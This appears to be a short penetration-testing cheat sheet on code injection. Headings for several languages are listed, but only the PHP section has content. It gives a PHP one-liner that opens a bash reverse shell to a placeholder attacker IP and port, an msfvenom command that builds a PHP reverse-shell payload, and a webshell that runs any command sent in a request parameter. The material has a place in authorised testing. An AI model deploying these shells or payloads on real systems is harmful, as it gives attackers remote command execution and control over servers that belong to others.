Code Injection

PHP

Reverse shell

Linux

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"); php?>

From msfvenom

msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw -o payload.php

Webshell

<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Code injection

Inject terminal commands

Inject PHP code (PHP delimiters not required)

Information gathering

.NET

Reverse shell

From msfvenom

Webshell

ASP

ASPX

Java

Reverse shell

JSP File

JSP From Msfvenom

From WAR file

Webshell

Parameter injection

Inject terminal commands

Information gathering

Deserialization

Exploit Java deserialization vulnerabilities using ysoserial (requires java installed on local machine). Can be downloaded from here

Deploy payload

NC upload and reverse shell

Powershell

Python

Reverse shell

Parameter injection

Inject terminal code

Last updated